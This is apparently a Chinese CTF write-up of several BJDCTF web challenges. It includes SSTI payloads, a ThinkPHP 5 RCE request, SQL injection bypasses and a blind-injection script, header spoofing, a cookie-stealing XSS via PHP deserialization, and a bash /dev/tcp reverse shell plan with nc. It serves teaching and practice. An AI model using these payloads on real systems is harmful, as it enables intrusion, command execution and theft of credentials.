幹啥啥不行,簽到第一名
[BJDCTF 2nd]簽到-y1ng
crypto簽到,直接base64解碼
[BJDCTF 2nd]fake google
ssti
payload:
qaq?name={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat ../flag').read()}}
參考:
https://xz.aliyun.com/t/6885
https://xz.aliyun.com/t/3679
https://www.cnblogs.com/keithtt/p/7709445.html
[BJDCTF 2nd]old-hack
- 考點:thinkPHPv5.0.23 RCE
打開靶機是一個黑頁,然後給了提示
Powered By THINKPHP5
RCE(remote code execution)
THINKPHP5遠程代碼執行漏洞:
https://www.cnblogs.com/bmjoker/p/10110868.html
https://www.freebuf.com/vuls/191847.html
payload:
index.php/?s=captcha
post_data:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
[BJDCTF2020]Easy MD5
提交111,用burpsuite攔截可以看到response的header中有hint:
Hint: select * from 'admin' where password=md5($pass,true)
貌似是以賽抗“疫”裏也有這個考點,php中md5()
函數的第二個參數如果是true
的話,md5之後可返回的字符串中能會出現單引號,payload:
ffifdyop | 276f722736c95d99e921722cf9ed621c | b"'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c"
然後mysql中,以非‘0’字符開頭的字符串轉爲bool值時,會轉爲true
這裏有個疑問,這一題的源碼是直接用if($password=='ffifdyop')
來判斷的結果,而不是連接數據庫,那麼如果用含有'='
的md5值其實也可以繞過判斷,利用select 'a'='b'='c'
返回true的特性來繞過(這是上次安恆的羣裏發的比賽的考點)
可參考下面這篇文章的評論區
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
然後轉到頁面DO YOU LIKE MD5
,頁面中有註釋:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
要求參數不相但md5值相等,用的弱比較==
和!=
,可以用0e
開頭的字符串繞過,php中的md5()
和sha1()
之類的函數在傳入參數爲數組時,會直接返回false
,所以也可以直接傳入兩個數組作爲參數來繞過
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
payload:?a=QNKCDZO&b=s878926199a
然後下一步要求:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
使用post方式傳遞兩個數組作爲參數,payload:
post_data
param1[]=1¶m2[]=2
[BJDCTF 2nd]假豬套天下第一
打開之後是個登錄界面,隨便輸了個密碼就可以登錄,但是登陸之後什麼都沒有隻有一個歡迎界面,burpsuite截包,可以看到個302頁面中有個註釋L0g1n.php
訪問L0g1n.php,回顯
Sorry, this site will be available after totally 99 years!
看到發送的請求中的cookie
存在time=xxxxx
,修改該屬性的值,在後面多加幾個9,回顯
Sorry, this site is only optimized for those who comes from localhost
後面就全部是修改header
的問題了,參考相關鏈接
據出題人的題解,比較坑的是,當修改X-Forwarded-For
爲127.0.0.1時回顯:
Do u think that I dont know X-Forwarded-For?
Too young too simple sometimes naive
可以用Client-IP
或者X-Real-ip
代替XFF
還有個比較坑的:
Sorry, this site is only optimized for browsers that run on Commodo 64
出題人說可以搜到Commodo 64暗示的是一個操作系統,可以搜到Commodore 64(雖然我並沒有搜到,沒梯子),修改UA爲Commodore 64
,其他需要修改的內容:
Client-IP: 127.0.0.1 //客戶端ip
From: [email protected] //email
VIA: y1ng.vip //http proxy
Referer: gem-love.com //來源
最終的頁面備註裏有base64編碼的flag
[BJDCTF 2nd]duangShell
打開靶機之後回顯
珍愛網
how can i give you source code? .swp?!
where is P3rh4ps's girl friend ???
.swp
文件是非正常關閉vi/vim時產生的文件,可以用方便vim恢復原來的工作(類似臨時文件?),可以用vim -r filename
恢復編輯文件的內容
訪問/.index.php.swp
,使用vim恢復源代碼,然後:11,26 w ./index,php
將代碼部分保存到新的index.php中。
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
exec()
函數與system()
不一樣,是沒有運行結果回顯的,所以這一題要用到反彈shell,不過我一直沒搞明白buuoj上的靶機怎麼用,所以這一題還沒搞出來,大致思路:
先在服務器上創建個文件shell.txt
bash -i >& /dev/tcp/[ip1]/[port1] 0>&1
然後在ip1服務器上用nc監聽port1
nc -lvp [port1]
然後放payload,訪問靶機
post_data: girl_friend=curl ip1/shell.txt
然後在服務器ip1上可以收到反彈的shell
[BJDCTF2020]Mark loves cat
dirsearch掃描可以發現有/.git/
目錄,使用GitHack
可以把代碼down下來
#dirsearch
python dirsearch.py -u http://xxx -e php
#GitHach
python2 GitHack.py http://xxx/.git/
首頁中的php代碼
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}//get yds=flag
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
flag.php
<?php
$flag = file_get_contents('/flag');
審計代碼,yds=yds),但是剛剛flag了,所以可以get flag
[BJDCTF 2nd]簡單注入
robots.txt中提示有hint.txt,hint.txt
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
//出題人四級壓線才過 見諒見諒 領會精神
fuzz一下,可以看到ban了很多字符,應該是黑名單過濾,part of blaklist:
- 單引號雙引號
- union,select,rand,and,=,like,mid
但是沒有ban括號,可以使用很多函數,沒有ban反斜線,根據hint的查詢語句,可以用反斜線轉義掉單引號,而且沒有ban井號註釋符
username=\
password= or 1#
select * from users where username='\' and password=' or 1#';
可以看到回顯變了,應該是登陸成功了,但是hint說只能用正確的密碼才能getflag,頁面只有正常和錯誤兩種回顯,考慮布爾盲注,y1ng大佬的wp說要用正則注入,不知道爲啥,我用的ascii函數和<>進行的判斷,直接注的密碼,附上python腳本:(寫的亂七八糟,湊合看吧。。。)
import requests
s='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
s+=s.lower()
s+='0123456789'
ans=''
for i in range(1,20):
si=str(i)
print('trying '+si)
for x in s:
data = {
'username': '\\',
'password': ' or ascii(right(left(password,'+si+'),1))<>'+str(ord(x))+'#'
}
res = requests.post('http://337cb763-c5b3-4c33-86be-7978eaac7a70.node3.buuoj.cn/index.php',data=data)
#print(data)
#print(res.text)
if 'You konw ,P3rh4ps needs a girl friend' in res.text:
ans+=x
break
print(ans)
if len(ans)==12:#用length()判斷出password長度爲12
break
password:'OhyOuFOuNdit'用這個密碼登陸就有flag了
[BJDCTF2020]The mystery of ip
打開靶機之後,顯示有flag頁面,打開之後回顯:
your ip is:xxxxxxx
hint.php中有註釋
do you know why i know your ip?
然後我在burp加了個XFF頭,果然ip變了,Client-IP也可以,然後就沒思路了,XFF頭中寫phpinfo()但是沒辦法執行,頂不住了,百度了下題解,原來是ssti注入,總之就是在header中添加{{code}}
就可以了,{{phpinfo()}}
就可以執行成功
payload:
Client-IP: {{system('ls /')}}
Client-IP: {{system('cat /flag')}}
參考
服務端模板注入攻擊
[BJDCTF2020]Cookie is so stable
和上一題的前端界面很像,但是是和cookie相關的,嘗試ssti注入,登錄後在cookie中有個user字段,將值改爲{{7*7}}
返回hello 49
{{7*'7'}}
jinja輸出7777777
twig輸出49
但是有過濾
user={{phpinfo()}}
回顯:
What do you want to do?!
題解上的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
其中cat /flag是執行命令的點,這個頁面貌似只能顯示一行結果,也就是說,如果執行ls /的話,其實回顯只有一個var,看樣子是隻給顯示命令執行結果的最後一行內容,可以用管道符連接head命令一起執行(tail也可以)
ls /|head -n 4
回顯中可以看到有一個flag文件,也就是說,ls命令的第四行結果是flag
或者執行命令
find / -name flag
回顯:/flag
下圖中的測試方法可用於判斷使用的模板引擎
參考:
服務端模板注入攻擊
服務端模板注入攻擊 (SSTI)之淺析
[BJDCTF 2nd]xss之光
打開前端,啥都沒有,已有一句gungungun,好暴躁。。
githack掃一下,可以掃到index
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
反序列化,在網上找了題解,因爲是echo反序列化的結果,所以要利用php中一些有_toString()方法的類,在_toString()的原生類反序列化中,常用的是Error和Exception。
附上Y1ng大佬的payload:
<?php
$y1ng = new Exception('"<script>window.open(\'[ip]:[port]/?\'+document.cookie);</script>');
echo urlencode(serialize($y1ng));
buuoj上覆現的題目不需要nc監聽,直接在response的cookie中就可以getflag
部分wp:
某大佬的wp
另一個大佬的wp
官方wp
官方wp(github)
題目源碼:
BJDCTF